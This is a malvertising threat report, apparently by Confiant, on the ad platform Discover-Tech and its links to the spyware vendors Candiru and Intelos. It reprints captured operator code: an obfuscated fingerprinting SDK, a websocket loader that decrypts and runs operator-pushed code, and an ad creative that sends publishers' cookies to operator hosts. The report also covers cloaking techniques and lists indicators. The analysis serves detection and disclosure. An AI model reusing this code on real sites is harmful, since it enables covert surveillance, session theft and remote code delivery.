The work that we do at Confiant serves to provide Digital Publishers and Advertising Platforms with enhanced ad tech supply chain visibility, with the primary goal of detecting, blocking, and eliminating malicious actors in the ad industry.
These attacks that we typically cover have one thing in common - the perpetrators behind them are all financially motivated. The ad tech supply chain is a path that enables these attackers to monetize various scams at scale with the goal of enriching themselves.
In this report, we present an outlier: an ad tech entity called Discover-Tech (DTech) that uses sophisticated cloaking and hands off to infrastructure attributed to the mercenary spyware company Candiru by our research partners at The Citizen Lab in a concurrent investigation:
https://citizenlab.ca/research/how-discover-tech-turned-targeted-ads-into-a-pipeline-for-spyware/
In addition, our research establishes connections between Discover-Tech and Intelos, another cyber surveillance company openly focused on ADINT.
We begin our investigation with an ad creative that fired in our scanner on April 12, 2026 and set off a series of detection heuristics around various JavaScript APIs often used by malvertising operators who implement client-side cloaking. A deeper look at the incident reveals an advanced framework that fingerprints devices and implements a covert command-and-control channel. The cloaking paradigm is similar to tradecraft leveraged by for-profit malvertisers that abuse digital advertising to serve phishing pages, scams, forced redirects, and pop-ups through premium ad supply, but there are key differences that establish this operator as having sophistication far beyond the status quo.
This report follows as we pull on the thread, analyze the payload, and explore the operator’s footprint through our telemetry and uncover connections to these known cyber surveillance entities. The investigation window for the data presented runs from April 1 through September 10, 2026.
The Ad Markup
We begin our analysis with the domain mtrtb[.]com, Discover-Tech’s primary ad serving domain.
<div id='ad-wrapper' style='position: relative;'>
<a href='https://myipinfo[.]io' target='_blank' onClick='clicker();'>
<img src='https://cloud-images.s3.eu-west-1.amazonaws[.]com/November%202025%20-%20All%20creatives/MyIPInfo/MyIPInfo300X250.jpg'>
</a>
<script src='https://ppv2.mtrtb[.]com/getAd?idfa=AADgx07T...&sourceId=sas&exc=SMARTADSERVER&dom=...com&sha1=5b8a5...&page=https%3a%2f%...com%2f...%2f2026-04-12%2f...&country=BEL&ipv4=94.109.xxx.xxx&os=Android&devicemodel=Generic%20Android%20Mobile&dsp=...&infiFifo=718'></script>
</div>
The /getAd script highlighted above initiates a chain that on the surface resembles many other examples of multi-stage cloaked JavaScript or anti-bot verification.
The parameters in the query string after /getAd are macros expanded by the bidder during the ad serving process, which hands the operator a plethora of preliminary information about the device and visitor they landed on.
Then we see the handoff to a script hosted on CloudFront (attributed to Candiru):
var ifrm = document.createElement("iframe");
ifrm.setAttribute("src", "https://d23625plpxg1yn.cloudfront[.]net/iframe?impid=9IV7g%2BfykP3oJT3FXlJkl%2BLl4BSzjtUawfMu9fP5wkc5DN7ntRrf8REGVnO5hobj95Nvl4FMj2df29qcqlT7eBOnd0hDiwskAfMv2P4pichYSlisMk8n7xk2h4pa%2FmgvJiBPD5Z%2BQjVxH%2FfBtS8xrHAtZA35NY8Kj%2BcdOyMMgdzI44SbipeB%2FBMNE5Ql3mLrXjF2p5nbqpXIhEZ96IlfcH5yEsv9RKJ%2BEfSXubJDonQHvgziJ8RXcrzTABK4w0rq");
ifrm.style="width:1px; height:1px; border:none;";
document.body.appendChild(ifrm);The iframe that is staged loads the following HTML, trimmed:
<script>
window.SDK_AUTH = {
token: "eyJhbGciOiJSUzI1NiIsImtpZCI6IjI5NWRhMDczOGFjODRjYWZiYjBmNGY3…",
expiresAt: 1775992630412 ,
remainingRequests: 50
};
</script>
<script src="sdk.js?script_tok=91a9788a4e7576a17806bf3af0a8b07043b779f8…></script>
<script>
try {
function initSDK() {
if (typeof SDK !== 'undefined' && SDK.SDK) {
var sdk = new SDK.SDK({
endpoint: "https://pagead.trustlayersdk[.]com",
jwtToken: window.SDK_AUTH.token
});
if (typeof sdk.init === "function") {
sdk.init().catch(function() {});
}
if (window.parent && window.parent !== window) {
window.parent.postMessage({
type: 'analytics_sdk_ready',
token: window.SDK_AUTH.token,
expiresAt: window.SDK_AUTH.expiresAt,
remainingRequests: window.SDK_AUTH.remainingRequests
}, '*');
}
}
}
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initSDK);
} else {
setTimeout(initSDK, 50);
}
} catch (e) {}
</script>The snippet bootstraps an SDK that looks like a verification script, ostensibly a bot detection of some kind, or other verification layer as is commonly found in ad tech. The “SDK” itself is loaded via script tag sdk.js?script_tok=91a9788a4e7576a17806bf3af0a8b07043b779f8… and comes back with about 90KB of obfuscated JavaScript, likely obfuscated with the open source tool javascript-obfuscator.
The full payload comes to over 3,700 lines of code when beautified, making it out of scope for a line-by-line analysis here, but we’ll share our observations and inferences below.
Fortunately, the obfuscation here uses a light configuration. For example, literals can be easily normalized to help with readability (e.g.: !![]->true, ![]->false, !0x0->true, !0x1->false). It’s unclear if this configuration is intentional, but it might be, because it obfuscates the SDK just enough that it looks in line with what can typically be found flying around in ad tech, but not so much that it looks completely alien, which defenders might anchor on as a signal to review something more closely.
Upon execution, the SDK establishes a shared secret between the browser and the command and control domain using an ECDH handshake, and then polls the C2 to await further instructions. Since the C2 domain is defined on the operator controlled iframe, it can be swapped out at any time between runs. While polling is the default mechanism for communicating with the C2, the operator can switch to a more persistent connection such as websocket or webRTC, effectively hiding the communication from any HTTP monitoring.
It’s worth noting that the ECDH secret is only used to decrypt code pushed down by the operator. Everything flowing back up to the C2 is sealed under a second, independent mechanism: results are encrypted with a fresh AES key that is itself wrapped to an RSA public key carried in the JWT on the iframe page. TLS already protects this traffic in transit. The extra layer is there so that nobody else in the chain like a publisher, researcher, or scanner can see what was collected.
The SDK has a rich feature set that we can split into several categories. These features are invoked by the operator over the C2. The result of each run is passed back to the C2 via encrypted channel.
Fingerprinting
Device and network fingerprints are comprehensive and consistent with advanced client-side cloaking, targeting, or bot detection. The SDK checks for the presence of the following APIs without invoking most of them, with the exception of the WebGL and CSS variable checks:
SharedWorker
navigator.serviceWorker
Worker
IndexedDB API
window.isSecureContext
getUserMedia
HTMLCanvasElement.getContext (WebGL)
WebAssembly
ReadableStream
Crypto.subtle
IntersectionObserver
PerformanceObserver
ResizeObserver
MutationObserver
window.customElements
Element.attachShadow
CSSStyleDeclaration.setProperty (CSS variables)
Element.animate (Web Animations)
WebTransport
It also invokes the following APIs, one at a time as instructed by the C2 for thorough collection of device and network metadata:
Device
navigator.userAgent
navigator.language
navigator.platform
screen.width
screen.height
screen.colorDepth
window.devicePixelRatio
RequestRenderer
HTMLCanvasElement.getContext
WebGLRenderingContext.getExtension
WEBGL_debug_renderer_info
WebGLRenderingContext.getParameter
WebGLRenderingContext.getSupportedExtensions
RequestBatteryInfo
navigator.getBattery
BatteryManager
Network Status
navigator.onLine
navigator.connection
NetworkInformation
Window online event
Window offline event
NetworkInformation change event
Behavioral Monitoring
Another group of features monitors user interactions on the page, including mouse pointer tracking, clicks, keypress rhythms, scrolling, touches, page visibility, and more. This builds a powerful signal that allows the operator to determine whether or not a device is human-operated or a bot.
The following APIs are invoked to achieve this:
Mouse Tracking
Element pointermove event
MouseEvent.clientX
window.innerWidth
Click Stream
Element pointerdown event
PointerEvent
Element.tagName
Node.textContent
Keyboard Stream
Element keydown event
Element keyup event
KeyboardEvent.code
Hover Stream
Element pointerover event
Element pointerout event
Scroll Stream
Element scroll event
window.scrollY (pageYOffset)
Element.scrollHeight
Touch Stream
Element touchstart event
TouchEvent
Form Submission Stream
HTMLFormElement submit event
HTMLFormElement.method
HTMLFormElement.action
Page Visibility Stream
Document visibilitychange event
document.visibilityState
document.hasFocus
Window beforeunload event
Theme Stream
window.matchMedia
MediaQueryList
Navigation Tracker
Location
document.referrer
history.length
Window popstate event
Window hashchange event
Geolocation
Permissions.query
Geolocation.getCurrentPosition
FPS Stream
performance.now
window.requestAnimationFrame
window.cancelAnimationFrame
Probe Stream
window.setInterval
A lot of this will not be available from inside an ad frame due to various restrictions thanks to the browser security model, but if the SDK is invoked on any parent page or in other contexts, the operator will have a very thorough idea of not only the device they are on, but a fingerprint on who is operating it.
ESET researchers have previously documented a JavaScript payload attributed to Candiru that runs on compromised websites, which supports the idea that the SDK we are analyzing here was made with the intention of serving beyond ads, on page.
Code Execution
The device, network, and behavioral fingerprinting outlined above all happens in a loop that polls the operator’s C2 for instructions on which feature or command to execute. The polling happens once per second, and the SDK gives up after 10 empty results unless the operator switches to a persistent transport. The operator can also push arbitrary code, which the SDK compiles and runs by wrapping it in a new Function(...) call. Combined with the SDK’s ability to capture a comprehensive device fingerprint, this is an effective mechanism for the surgical delivery of high-impact payloads such as browser exploits. All code delivered is executed with the authority of the context in which the SDK is invoked, in this case an ad frame.
Unusual Helpers
In addition, the SDK has various helpers, notably a DNS-over-HTTPS feature that takes a domain sent by the operator and looks it up against Cloudflare’s dns-query endpoint:
let dohUrl = ‘https://cloudflare-dns.com/dns-query?name=’ +
encodeURIComponent(hostname) + ‘&type=A’;If the operator invokes this functionality, an A record is requested for the domain of the operator’s choosing, and when the IP comes back, the SDK continues with a request that looks something like this (reconstructed from obfuscated code):
let resp = await fetch(’https://’ + resolvedIp + ‘/json’, { mode: ‘no-cors’ });What’s notable here is twofold:
1) The domain supplied by the operator is never contacted directly. It is resolved over encrypted DoH and then reached by raw IP, so it never appears as a plaintext DNS query or as a connection hostname, keeping it invisible to DNS-based monitoring and blocklists.
2) The response is opaque under no-cors, so its status is always 0. The feature always returns ‘not found’. There is a branch after the check that would parse the body as JSON, but it is unreachable.
Our suspicion is that this mechanism acts purely as a pingback that verifies an active client-side session, which the operator might use as a further pre-condition for pushing commands or code from the C2.
Another Pattern
The operator behind the /iframe?impid= pattern has activity spanning additional domains running against a /?qq= endpoint as well. These run as separate campaigns in a 1x1 iframe with the following payload (observed on Dec 2, 2025) with infinoas.mtrtb[.]com/getAd as the iframe injector (Discover-Tech):
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script>
// Copyright 2013 Google Inc. All Rights Reserved.
const e = new Error();
let stack = false;
Object.defineProperty(e, "stack", {
get() {
stack = true;
return "";
},
});
console.log(e);
(async () => {
const webdriver = !!window.webdriver;
const [q1, q2] = await new Promise((resolve) => {
navigator.webkitTemporaryStorage.queryUsageAndQuota(function (_, quota) {
resolve([quota, performance.memory.jsHeapSizeLimit * 2]);
});
});
const aesKey = await crypto.subtle.generateKey(
{ name: "AES-CBC", length: 256 },
true,
["encrypt", "decrypt"]
);
const aesRawKey = await crypto.subtle.exportKey("raw", aesKey);
const base64AesKey = btoa(
String.fromCharCode.apply(null, new Uint8Array(aesRawKey))
);
const sendValues = { q1, q2, webdriver, stack };
const encryptionKey = new Uint8Array(
[...atob(`MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApi2k3p15wU1Nx5SpHNjB27vt2LAKhrJ
/BUaF437uIbgA5cwPJla6qvx1ZjSvgqkdcJY6R6QJvZWmL9ovYzi+Vj2puAX+QWNCT1P4L4DBq8t0EanWmwgT0xcuXlyB9PGWOzOPb1JTNC7mgCiAXiNWrQJeNdqqaYkqVCits4R0Telljbj0Vgn3S
/FA+WK0ree/b9m1Fj9JTNmPjt1Ydb1AvIdyZMJShzJYDhTHfDiHnkADjkoYwE+0adBYiSADwx5slA6IgoqVCfOI6Pixg9Uh6Nr7xQruUmthNPF8q2m1zbhqjDkoPoJM7T9WIUDmzZGcILA8AEQPmFEfVQWqsyJHvQIDAQAB
`)].map((c) => c.charCodeAt(0))
);
const rsaPublicKey = await window.crypto.subtle.importKey(
"spki",
encryptionKey,
{ name: "RSA-OAEP", hash: "SHA-256" },
false,
["encrypt"]
);
const encrypt = async (type, message) => {
const encoder = new TextEncoder();
const encryptedAesKeyBuffer = await window.crypto.subtle.encrypt(
{ name: "RSA-OAEP" },
rsaPublicKey,
encoder.encode(base64AesKey)
);
const encryptedAesKey = btoa(
String.fromCharCode(...new Uint8Array(encryptedAesKeyBuffer))
);
const iv = crypto.getRandomValues(new Uint8Array(16));
const encryptedMessageBuffer = await crypto.subtle.encrypt(
{ name: "AES-CBC", iv },
aesKey,
encoder.encode(JSON.stringify(message))
);
const combined = new Uint8Array(
iv.length + encryptedMessageBuffer.byteLength
);
combined.set(iv, 0);
combined.set(new Uint8Array(encryptedMessageBuffer), iv.length);
const encryptedMessage = btoa(
String.fromCharCode(...combined)
);
return {
key: encryptedAesKey,
value: encryptedMessage,
type,
};
};
const socket = new WebSocket(
"wss://" + location.host + location.pathname + location.search
);
let now = new Date();
socket.addEventListener("open", async () => {
socket.send(JSON.stringify(await encrypt("values", sendValues)));
socket.send(
JSON.stringify({ type: "time", id: 1, time: new Date() - now })
);
now = new Date();
});
socket.addEventListener("message", async (event) => {
socket.send(
JSON.stringify({ type: "time", id: 2, time: new Date() - now })
);
const bin = Uint8Array.from(atob(event.data), (c) => c.charCodeAt(0));
const decrypted = await crypto.subtle.decrypt(
{ name: "AES-CBC", iv: bin.slice(0, 16) },
aesKey,
bin.slice(16)
);
const func = new Function(
`return (${new TextDecoder().decode(decrypted)})`
)();
func(encrypt, socket);
});
socket.addEventListener("error", async () => {
socket.send(JSON.stringify(await encrypt("str", "SOCKET_ERR")));
});
})();
</script>
</body>
</html>Notice the comment // Copyright 2013 Google Inc. which is designed as a decoy to evoke trust from human reviewers. A similar decoy was documented by ESET in their 2021 analysis of Candiru’s JavaScript.
Much like the previous payload we looked at, the code above establishes an encrypted channel over websocket against the domain serving it, posts a device check, and expects an AES-encrypted blob that it decrypts and executes with new Function(...). This is done without bootstrapping a large SDK like the /getAd payload.
Exploit Chain, Spyware and the Candiru Attribution
While attribution of this activity to the commercial spyware vendor Candiru is supported by high-confidence findings from Citizen Lab, and notable TTP overlaps with ESET's 2021 research on Candiru, the key takeaway of this analysis goes beyond vendor naming. The core finding is the weaponization of ad infrastructure for advanced staging, preliminary targeting, and payload delivery, characterized by exceptional technical sophistication, robust anti-interception measures, and surgical micro-targeting. Even though we have not captured a full exploit chain in the wild, the surrounding staging demonstrates an advanced capabilities package built to evaluate targets before delivering high-impact payloads.
First Party Cookie Theft
Looking at other examples of Discover-Tech’s media buy activity, we observe widespread campaigns where the operator captures sensitive client data and posts it back to themselves in a script tag in order to gate the next stage of JavaScript. The activity was observed throughout the period of observation in web environments.
Here’s a recent example (truncated):
<div style="position: relative; display: inline-block;">
<a href="[REDACTED_CLICK_URL]" target="_blank" onClick="clicker();">
<img src="https://cloud-images.s3.eu-west-1.amazonaws.com/November%202025%20-%20All%20creatives/Akedo%20(Black)/Akedo_320x100.jpg" alt="Main Banner">
</a>
<script id="getAdScript"></script>
...
</div>
<script>
var clickURLs = [
"https://ppv2.mtrtb[.]com/ClickProcessor?idfa=&appName=...", ""
];
function clicker() {
for (var i = 0; i < clickURLs.length; i++) {
(new Image()).src = clickURLs[i];
}
}
function getCookies() {
var cookies = document.cookie.split(';');
var ret = '';
for (var i = 0; i < cookies.length; i++) {
ret += cookies[i] + "~~~";
}
return ret;
}
Promise.all([getUA(), getIPv6()]).then(([ua, newIpv6]) => {
var getAdUrl = "https://ppv2.mtrtb[.]com/getAd?idfa=&appName=..."
+ "&cookie=" + getCookies()
+ "&newplat=" + ua.platform
+ "&newmodel=" + ua.model
+ "&newplatver=" + ua.platformVersion
+ "&newbrowver=" + ua.uaFullVersion
+ "&new_ipv6=" + newIpv6;
document.getElementById("getAdScript").src = getAdUrl;
var url = "https://dtech.adtimizer[.]co/DSPCLogger/Impoint?idfa=&appName=..."
+ "&cookie=" + getCookies()
+ "&newplat=" + ua.platform
+ "&newmodel=" + ua.model
+ "&newplatver=" + ua.platformVersion
+ "&newbrowver=" + ua.uaFullVersion
+ "&new_ipv6=" + newIpv6;
(new Image()).src = url;
}).catch(err => {});
function getUA() {
return new Promise(function (resolve) {
if (!navigator.userAgentData || !navigator.userAgentData.getHighEntropyValues) {
resolve({ platform: '', model: '', platformVersion: '', uaFullVersion: '' });
return;
}
navigator.userAgentData
.getHighEntropyValues(["model", "platformVersion", "uaFullVersion", "platform"])
.then(ua => {
resolve({
platform: ua.platform || '',
model: ua.model || '',
platformVersion: ua.platformVersion || '',
uaFullVersion: ua.uaFullVersion || ''
});
})
.catch(() => {
resolve({ platform: '', model: '', platformVersion: '', uaFullVersion: '' });
});
});
}
function getIPv6() {
return new Promise(function (resolve, reject) {
resolve('');
});
}
</script>Notice that the getAdScript tag runs whatever JavaScript is returned by the ppv2.mtrtb[.]com/getAd endpoint, but only after the operator consumes a platform profile and the cookiejar. The fingerprint and siphoned cookies are also dispatched to dtech.adtimizer[.]co. The creative builds the cookie value with a small helper, getCookies(), which reads document.cookie, joins every entry with a “~~~” delimiter, and appends the result unencoded as the cookie= parameter of both URLs, next to the high-entropy User-Agent Client Hints and the bid’s identity fields.
What document.cookie returns depends on where the ad renders. In a cross-origin SafeFrame it returns little or nothing. In a friendly iframe that shares the publisher’s origin, or when the creative is written directly into the page, it returns every first-party cookie the publisher has not marked HttpOnly.
Our telemetry shows the second case happening at scale. In unique ad sessions captured across over 1,000 publisher domains, we observe that this string holds the publishers’ entire first-party cookie jar including analytics and advertising identifiers such as Google Analytics IDs, Prebid shared IDs, and others. In many cases they also include session IDs, including live authenticated sessions of logged-in users, and sometimes even emails and full names encoded inside JWT tokens.
In addition to this first-party data collection being egregious and abusive, we have established that it is executed even in scenarios where Discover-Tech lacks user consent for data processing under GDPR in the EU.
This indiscriminate data collection likely allows Discover-Tech to augment their identity graph with stable first-party identifiers, and re-identify users when third-party cookies expire or get deleted.
Cookie Matching
Discover-Tech operates a separate set of domains (tracookiepixel[.]xyz and cookie-sync[.]xyz) dedicated to cookie matching (also referred to as cookie syncing).
In online advertising, cookie matching can be defined as a mechanism running on web publisher pages to let each ad tech buyer recognize, in the bid requests it receives, the users it already knows under its own IDs.
Confiant observed that Discover-Tech’s cookie matching activity is heavily targeting the United States (48% of traffic according to Cloudflare Radar), while their United States share as measured by ad impressions is only 7%. The domain tracookiepixel[.]xyz was ranked 7,274 by Cisco Umbrella, shortly before it was taken down, an indication of its scale, which is consistent with its ubiquitous presence on top US publishers as captured by Urlscan. The domain cookie-sync[.]xyz did not appear to be actively used during the period of observation. Both domains were suspended on October 1.
Overall, Confiant assesses that Discover-Tech’s cookie matching infrastructure generates billions of audience touch-points per month over tens of thousands of websites, contributing an internet-scale log of IP addresses, user agents and ad tech user IDs. This dataset augments and maintains their identity graph without having to spend on ad campaigns.
The Discover-Tech Footprint
Deliberate targeting of specific countries and devices
While Discover-Tech ads were observed serving in 228 countries, Confiant data during the observation period shows that it exhibits particular interests in very specific combinations of geographies and OS/devices.
Notably, Palestine was by far the most targeted geography with Discover-Tech seen serving 1.9% of all ads (peaking at 9.9% on April 7), with a particular focus on Android: 1 in 36 Android ads in Palestine during the period were served by Discover-Tech. Other geographies most heavily targeted on Android include Lebanon (1.1%), Belgium (1.1%), and Portugal (0.8%).
iOS was the primary focus in some Northern European countries, with 1 in 54 iOS ad impressions in the Netherlands (1.9%) and 1 in 72 in Sweden (1.4%), while their relative reach on Android was four to five times lower in those two countries. Other geographies most heavily targeted on iOS include Norway (1.3%) and Montenegro (1.4%).
Spiky traffic patterns
During the period of observation, Discover-Tech’s targeting exhibited spikes of traffic in particular geographies and devices. These campaigns either looked like very short bursts or week/month-long increases.
Buying of this kind is unusual for commercial advertisers, unless specialized campaigns require it, like for example holiday promotions, but this is not supported by the operator’s creative distribution described later in our report. Instead, most brand campaigns usually aim for steady reach over weeks, not one-day surges in tiny regional markets. A single-day spike fits better with an operation aimed at a specific audience or event, where the ads need to reach a particular population once, inside a narrow window.
In Montenegro, the Netherlands, Spain, Sweden, and other countries, Discover-Tech’s share rose and stayed elevated for one to several weeks, before falling back. These periods look less like a single strike and more like prolonged coverage of a population of interest.
The data broadly supports deliberate targeting by device type / operating system. Belgium saw a single focus on Android with the exception of a large combined iOS+Android burst from July 21 to July 27, peaking at a 3.8% overall reach on July 26. Germany was almost exclusively targeted to iOS. Gibraltar had a single-day Windows-only spike on April 27 reaching 4.7%. The Netherlands and Spain had the most diverse targeting with a mix of all device types over the period.
Regional clustering
Overall, most of the operator’s targeted activity fell within a handful of regional clusters. To find them, we used each country’s peak daily share: the highest proportion of that country’s observed advertising that Discover-Tech served on any single day.
Grouping geographies by peak daily share produced six primary clusters that each carry their own geopolitical significance: Maghreb, Levant and East Mediterranean, Arabian Peninsula, Northwest Europe, Iberia and the Strait, and Western Balkans.
Two secondary clusters, each centered on a single country, also stand out:
Southeast Asia: Singapore reached a peak daily share of 0.62%, well above its regional neighbors.
Caucasus: Armenia peaked at 0.61%. The timing is consistent with the operator’s ads reaching the network of the Armenian Prime Minister’s Office (shown in the following section).
Hand-off to Candiru: Micro-targeting
When Discover-Tech hands off to Candiru as described in the payload section, campaign volumes are extremely low (hundreds to lower thousands of ad impressions per day as measured in Confiant’s dataset), which may indicate a deliberate micro-targeting effort. Nine countries (see chart below: Belgium, UAE, Montenegro, Bahrain, Thailand, Saudi Arabia, Mexico, Spain, Malaysia) have been observed as targeted by this activity, with CloudFront hosts that were regularly rotated out after only a few days of activity (listed in IOCs section). Belgium was the first target we observed on April 12, and stayed by far the most targeted country (56% of global hits during the period).
Confiant’s analysis of this campaign’s targeting found no evidence of any systematic attempt at geofencing or targeting by ASN: The large majority of Candiru-attributed ads were served on residential or mobile IPs, in residential areas, not in geopolitically sensitive locations (e.g. official buildings) or networks. Our assessment is that Discover-Tech may have used their passive data collection to build a massive real time identity graph that would later allow spyware actors to pick deanonymized targets by ad ID. Our next section details our findings on DTech’s passive data collection on government and other sensitive networks.
Government and Sensitive Networks
Because Discover-Tech writes the bid’s device IP directly into its pixel URLs, every impression we observe client-side records the network it reached. Enriching Confiant’s client-side telemetry with ASN data shows the operator’s ads landing on government and intergovernmental networks, in every case with a resolved cross-site identity attached. Here’s a selection of some of the networks that have been reached by these ads:
The named networks above are cherrypicked examples that illustrate Discover-Tech’s reach can touch users browsing the web on critical networks, but it’s not the full extent of their footprint. If we classify every ASN in the data by the type of organization that operates it, we see that the activity spans hundreds of networks in sensitive categories.
Research and education networks make up the largest group by far. These include national research institutions and individual universities. Regional and national government networks come next, followed by health. The remaining categories are smaller but arguably the most sensitive: defense, international organizations, judicial bodies and security services.
Being reached on one of these networks does not by itself mean an individual was targeted. An ASN identifies an organization’s network, not a person, and the user may have been on a guest connection or a shared exit point. Taken together, though, the operator’s ads reached a wide range of institutions that commercial spyware has historically targeted.
Creative Distribution
As established by the telemetry data, Discover-Tech has a large enough footprint on the open web that rivals the ubiquity of most digital advertising platforms in its class. This makes certain observations about what runs through their stack all the more unusual.
We estimate that Discover-Tech serves in the ballpark of 10M ad impressions per day. Ad platforms of this scale are built for the purpose of serving marketers. In Ad Tech, money flows from the brand to the publisher through an interwoven series of intermediaries that facilitate the many auctions, integrations, and other handoffs that enable complex targeting to happen in real time. This means that a typical ad platform that operates at scale typically represents a vast array of various advertisers, often with a huge long tail of one-off campaigns from many brands that they’ve either sold directly or sourced from their programmatic relationships.
When we look at the ads served through Discover-Tech’s pipes, we see a different story. Here’s the distribution of creatives observed over the month of August 2026:
Approximately 60% of the ads routed through Discover-Tech’s stack in August were affiliate placements. Because these placements operate without upfront payment, the brand imagery used across the creatives was borrowed. Given the substantial costs associated with serving ads on premium websites, building such a massive footprint solely to distribute AliExpress affiliate links is unlikely to be a profitable venture.
Additionally, over one-third of their ad spend is directed toward promoting MyIpInfo—a free IP resolution website that Discover-Tech operates. The landing page features no front-end monetization or paid offerings, raising further questions about the economic strategy behind this volume of traffic. However Discover-Tech might be making their money, it’s clearly not through the placement of ads for brands.
Infrastructure & GitHub Leaks
Various entities like Volasim and MyIpinfo have been established as connected to Discover-Tech directly – the Citizen Lab report [link] does a good job connecting these dots, as well as a connection to the mercenary ADINT firm Intelos, who have become synonymous with geolocation tracking.
Over the course of our research, we’ve identified a GitHub account belonging to user @noyalevy with four public repositories that further suggests a deep relationship between these entities.
The repositories include a website redesign both for MyIpInfo and Intelos and the username aligns with that of the media contact on an Akedo[.]gg (Discover-Tech) press release:
The current Intelos website, doesn’t say much about their ADINT capabilities, but instead presents the company as a marketing intelligence platform with details about their capabilities gated with a request form. The leaked repo, intended to be confidential, tells a different story:
They claim that they can do all this while maintaining GDPR compliance:
At the time of this writing, the leaked document is also present on their own website, not gated with any authentication:
Interwoven Entities
There are further connections between ad tech entities known to be operated by Discover-Tech (such as Akedo and MyIPInfo) and ad platforms that appear to operate independently.
Adtimizer[.]co is already linked to the operator by our payload analysis:
“https://dtech.adtimizer[.]co/DSPCLogger/Impoint?idfa=&appName=...”
+ “&cookie=”
+ getCookies()
+ “&newplat=”
+ ua.platform...dtech.adtimizer[.]co was a DNS CNAME to Discover-Tech’s AWS load balancer (discovertech-alb-100966113.us-east-1.elb.amazonaws[.]com). The record has since been removed, but passive DNS shows it up until October 2026.
Adtimizer also operates another subdomain, tekma.adtimizer[.]co, which passive DNS shows pointing to the same load balancer. The load balancer itself confirms the link between Adtimizer and Discover-Tech. Its default TLS certificate is issued to mtrtb[.]com, and it also holds a wildcard certificate for *.adtimizer[.]co, issued on 2026-09-29. Both are Amazon-issued certificates attached to the same load balancer, which places mtrtb[.]com and adtimizer[.]co under the same AWS account.
While Adtimizer presents itself as a typical programmatic ad platform, Tekma (tekma-dmp[.]ai) presents itself as having ADINT-aligned capabilities similar to that of Intelos.
Front-end infrastructure also solidifies these connections. Discover-Tech’s corporate site (discover-tech[.]io), its DSP domain (mtrtb[.]com), and Tekma (tekma-dmp[.]ai) are all published from a single Wix account. Wix embeds the owning account UUID in each site’s page metadata. All three sites return the identical UUID a620bcc2-0237-4cbc-94c2-219ab49bed45 and the namespace a620bc.
A Sophisticated Operator
Scam-driven malvertising operations do not typically have this level of polish, and we have never seen another operator design a proper cryptographic protocol for its C2 channel, let alone one with multiple transports that sidestep different monitoring tools. Most client-side cloaking kits don’t establish a communications channel at all. The initial payload is a loader that pulls down a subsequent stage, gated by geo, IP, and a much looser device fingerprint.
Malicious ad campaigns also tend to lack the tight engineering demonstrated by this operator. They are messy and evolve over time with all kinds of junk layered on, because there is no incentive for the operators to clean up what they’re doing. If something works one day and fails the next, they layer on the new thing. Payloads accumulate lots of vestigial code, nested in try/catch blocks, for browser tricks that stopped working years ago. See blog.confiant.com posts for countless examples.
The biggest difference is that here, none of that happens. Scam-oriented, financially motivated malvertising operators are loud with immediate calls to action, disruptive pop-ups, or clickbait with messaging that drives urgency. This operator does nothing visible, and they manage their noise with precision and engineering rigor. Their ad creatives are plain, their deniability is strong, and there is no obvious monetization chain.
Then consider the reach. Discover-Tech serves roughly 10 million ad impressions a day, and each one feeds an identity graph built from device fingerprints, IP addresses, advertising IDs, and often the publisher’s own first-party cookies. That is passive surveillance on a global scale. From that pool, the operator picks out individual devices, some of them on government networks, and sends them code that nobody else receives.
This begs the question of how to keep the tools the ad industry built to reach the right person at the right moment from being used to turn that person into a victim.
Indicators
Operator & Delivery Domains
*.mtrtb[.]com
(notable subdomains: noas, ppv2, pqv2, infinoas, dtech, tracker)
*.adtimizer[.]co
(notable subdomains: dtech, tekma subdomains)
myipinfo[.]io, akedo[.]gg, volasim[.]com, tekma-dmp[.]ai, www.discover-tech[.]io
cookie-sync[.]xyz, tracookiepixel[.]xyz, ads-monitor[.]xyz
d8lmy5wyiokrq.cloudfront[.]net (1x1 tracking pixel)
CloudFront (Candiru delivery layer)
?impid= pattern
d23625plpxg1yn.cloudfront[.]net
d39619tdxn6mhj.cloudfront[.]net
d2f4zpg1mgzwov.cloudfront[.]net
d1fzw0miu1r9rc.cloudfront[.]net
d19oo8r6k9oumb.cloudfront[.]net
d147nolwbekx2b.cloudfront[.]net
dcv2rnj2ograe.cloudfront[.]net
d1x4e580sn23dn.cloudfront[.]net
?qq= pattern
d2epnp0vokbtl7.cloudfront[.]net
SDK C2
pagead.trustlayersdk[.]com
AWS Load Balancer
discovertech-alb-100966113.us-east-1.elb.amazonaws[.]com
Malvertising Matrix TTPs (matrix.confiant.com)
Initial Access
Execution
Persistence
Credential Access
Cloaking
Defense Evasion
Acknowledgments
This research relied on many quiet collaborators across digital advertising and threat intelligence. Special thanks to our research partners at The Citizen Lab, and to everyone across the ad tech industry who reviewed this work or helped with takedown efforts.